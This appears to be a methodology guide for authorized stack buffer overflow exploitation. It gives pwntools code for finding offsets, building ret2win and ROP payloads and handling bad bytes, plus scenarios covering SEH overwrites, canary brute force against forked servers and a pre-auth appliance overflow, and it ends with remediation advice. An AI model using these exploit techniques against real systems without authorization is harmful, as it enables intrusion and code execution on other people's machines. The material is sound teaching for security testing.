Exploiting Stack Buffer Overflows
When to Use
- During authorized binary exploitation assessments, CTF-style engagements, or vulnerability research where a native program (ELF/PE) copies attacker-controlled data onto the stack without bounds checking.
- When a target uses unsafe functions such as
strcpy,strcat,sprintf,gets, or misuses length-taking functions likefgets,read,memcpy, orsscanfwith an unbounded%s. - When a service crashes with a
Segmentation Faultafter large input, and you need to determine whether the saved return address (EIP/RIP) is controllable. - As the entry-point methodology that feeds into ret2win, stack shellcode, ret2libc, ret2syscall, and ROP techniques.
Critical: Concepts/Steps Most Often Missed
- The raw crash is not the win. A
Segmentation FaultfromA*1000 only proves memory corruption. You must prove the saved return address is under your control before claiming RCE-class impact. Crashing inside a canary check is a DoS-only primitive, not control-flow hijack. - Forgetting the saved EBP/RBP. The offset to the return address includes the buffer size plus the 4 bytes
(x86) / 8 bytes (x64) of saved base pointer. The classic bug is
payload = b'A'*64 + retwhen the real offset is 72. - Bad bytes / NUL-byte addresses. Non-PIE binaries are often mapped at low addresses (e.g.
0x00008000), so gadget and function addresses embed0x00. Functions likestrcpy/gets/sscanf %sstop at the first NUL. Enumerate bad bytes before building the chain, or use delimiter tricks (e.g. colon-delimitedsscanfparsing) to place NULs. - Windows SEH path. On 32-bit Windows the overflow may overwrite the SEH chain instead of the saved return address.
Exploitation replaces the SEH handler with a
POP POP RETgadget and uses the 4-byte nSEH for a short jump back into the buffer. Test for this when a straight EIP overwrite does not appear. - Forked-server canary brute force. When a service forks per request (CGI workers), children share the parent canary/PIE slide, so you can brute-force the canary, saved RBP, and return address one byte at a time using the response (e.g. HTTP 200 vs 502) as an oracle.
How to CONFIRM
Attach a debugger (gdb + pwndbg/GEF) and send a cyclic De Bruijn pattern. On crash, read the faulting instruction
pointer: if $eip/$rip (or $pc on ARM) contains a recognizable 4/8-byte slice of the pattern (e.g.
0x6161616c = laaa), control-flow hijack is confirmed and pattern search gives the exact offset. A crash where
the IP is intact but a read/write faults is not return-address control — keep investigating (it may be a write-what-where
or SEH case).
Workflow
Step 1: Triage the Crash and Profile the Binary
# What protections are in play? This drives the entire strategy.
pwn checksec ./vuln # or: checksec --file=./vuln
# Look for: RELRO, Stack Canary, NX, PIE, RPATH
# Reproduce the crash with a large input
python3 -c 'print("A"*1000)' | ./vuln
# A SIGSEGV trying to access 0x41414141 (x86) strongly suggests RIP/EIP control
A binary with No canary, No PIE, NX enabled is the classic ROP target; No canary, No NX, No PIE allows stack
shellcode; an uncalled win() function points to ret2win.
Step 2: Find the Offset to the Return Address
# Generate a unique cyclic pattern
pwn cyclic 200 # or in GEF: pattern create 200
from pwn import *
context.binary = elf = ELF('./vuln')
p = process('./vuln')
p.sendline(cyclic(200))
p.wait()
core = p.corefile
# x64: read the value that landed in RIP/RSP
fault = core.read(core.rsp, 8) # bytes at crash-time RSP
offset = cyclic_find(fault[:8], n=8) # n=8 for 64-bit
log.info("Offset to return address: %d", offset)
In GEF after the crash: pattern search $rsp (or $eip on 32-bit) prints the offset directly.
Step 3: Build the Payload Based on Mitigations
from pwn import *
context.binary = elf = ELF('./vuln')
offset = 72 # buffer(64) + saved RBP(8) — confirmed in Step 2
# --- ret2win: no PIE, no canary, an uncalled win() exists ---
payload = b'A' * offset
payload += p64(elf.symbols['win'])
# x86-64 movaps/stack-alignment fix: add a bare 'ret' gadget before win() if it crashes in libc
rop = ROP(elf)
payload = b'A'*offset + p64(rop.find_gadget(['ret'])[0]) + p64(elf.symbols['win'])
io = process('./vuln') # or remote('host', port)
io.sendline(payload)
io.interactive()
For NX-enabled targets, this stage instead produces a ROP chain (see the ROP and mitigation-bypass skills). For
NX-disabled + no-ASLR targets, place shellcode in the buffer and overwrite the return address with the stack address of
the shellcode (or use ret2esp/ret2reg under ASLR).
Step 4: Handle Bad Bytes and Re-trigger the Vulnerability
# Enumerate bad bytes the input function chokes on (NUL, \n, etc.)
badchars = b'\x00\x0a\x0d'
gadget = next(g for g in rop_gadgets if not any(b in p64(g) for b in badchars))
# Make a single bug reusable: return into main() or the vulnerable function again
payload = b'A'*offset + rop_chain + p64(elf.symbols['main'])
When addresses contain NULs and the copy stops on NUL, exploit delimiter-based parsers (e.g. each : in an sscanf
loop appends a trailing NUL) to plant multiple NUL bytes at chosen offsets.
Key Concepts
| Concept | Description |
|---|---|
| Saved return address | EIP/RIP value stored on the stack; overwriting it redirects control flow when the function returns. |
| Saved base pointer | EBP/RBP saved on the stack between the buffer and return address; must be accounted for in the offset. |
| De Bruijn / cyclic pattern | A sequence where every n-length subsequence is unique, used to compute the exact overflow offset from a single crash. |
| ret2win | Overwriting the return address with the address of an existing, never-called function (common in CTFs). |
| Stack shellcode | Placing shellcode on the stack and jumping to it; requires executable stack (NX off) or a jump gadget. |
| Partial overwrite | Overwriting only 1–2 low bytes of the return address to dodge ASLR (last 12 bits are page-aligned, ~1/16 chance per nibble). |
| SEH overflow | Windows-specific: overwriting the Structured Exception Handler chain instead of the return address. |
| Canary brute force | Recovering a stack canary byte-by-byte in forked servers that share the parent canary. |
Tools & Systems
| Tool | Purpose |
|---|---|
| gdb + pwndbg/GEF | Dynamic analysis, crash triage, pattern create/pattern search, register/stack inspection. |
| pwntools | Exploit scripting: cyclic, cyclic_find, ELF, ROP, process/remote, p32/p64, shellcraft. |
| checksec | Enumerate binary protections (RELRO, canary, NX, PIE). |
| ROPgadget / ropper | Find ret, pop gadgets for stack alignment and chain building. |
| objdump / radare2 / Ghidra | Locate function addresses (e.g. `objdump -d vuln |
| one_gadget | Find single-shot execve("/bin/sh") gadgets in libc for ret2libc escalation. |
Common Scenarios
Scenario 1: Classic CTF ret2win
A 64-bit non-PIE binary calls gets(buf) on a 64-byte buffer and ships an unused win(). Offset is 72; payload is
b'A'*72 + p64(ret_gadget) + p64(win). The ret gadget fixes 16-byte stack alignment so the movaps in libc-backed
win() does not fault.
Scenario 2: Unauthenticated network overflow (sscanf)
An appliance parses /__api__/v1/<endpoint> with sscanf(uri, "%*[^/]/%2s/%s", version, endpoint). The unbounded %s
copies past a 0x800-byte stack buffer, smashing the canary and return address. A 3000-byte path triggers a pre-auth crash;
with an info leak it escalates to code execution.
Scenario 3: Windows SEH overflow to RCE
A 32-bit Windows service overflows past the SEH chain. The exploit sets nSEH to a short jmp, overwrites the SEH handler
with a POP POP RET from a non-SafeSEH module, and lands on a 5-byte near jmp that pivots hundreds of bytes back to the
shellcode.
Scenario 4: Forked-server canary leak
A CGI worker forks per request and shares its canary. Treating the HTTP status as an oracle (200 = byte correct, 502 = crash), the exploit brute-forces the 8-byte canary, a saved stack pointer, and the return address, then builds an arbitrary-write ROP chain to spawn a shell.
Output Format
## Stack Buffer Overflow Finding
**Vulnerability**: Stack-based buffer overflow (CWE-121)
**Severity**: Critical (control-flow hijack) / High (DoS only if canary blocks)
**Binary**: /usr/src/app/vuln (x86-64, No PIE, No canary, NX enabled)
**Vulnerable Function**: vulnerable_function() -> gets(buf[64])
### Crash & Control Proof
- Input: cyclic(200)
- Crash IP ($rip): 0x6161616c61616161
- Offset to saved return address: 72 (64-byte buffer + 8-byte saved RBP)
- Control: $rip fully controlled (confirmed in gdb/pwndbg)
### Exploitation Path
ret2win — overwrote return address with win() @ 0x401216 (ret-gadget alignment prefix).
Payload: b'A'*72 + p64(0x40101a) + p64(0x401216)
### Impact
Arbitrary code execution as the service account; demonstrated by invoking win()/spawning /bin/sh.
### Recommendation
1. Replace unsafe functions (gets/strcpy/sprintf) with bounded equivalents (fgets/strncpy/snprintf).
2. Compile with -fstack-protector-strong, -D_FORTIFY_SOURCE=2, -fPIE -pie, and full RELRO.
3. Validate all input lengths against destination buffer sizes; never use sscanf "%s" without a width.
4. Enable ASLR and NX/DEP at the OS level.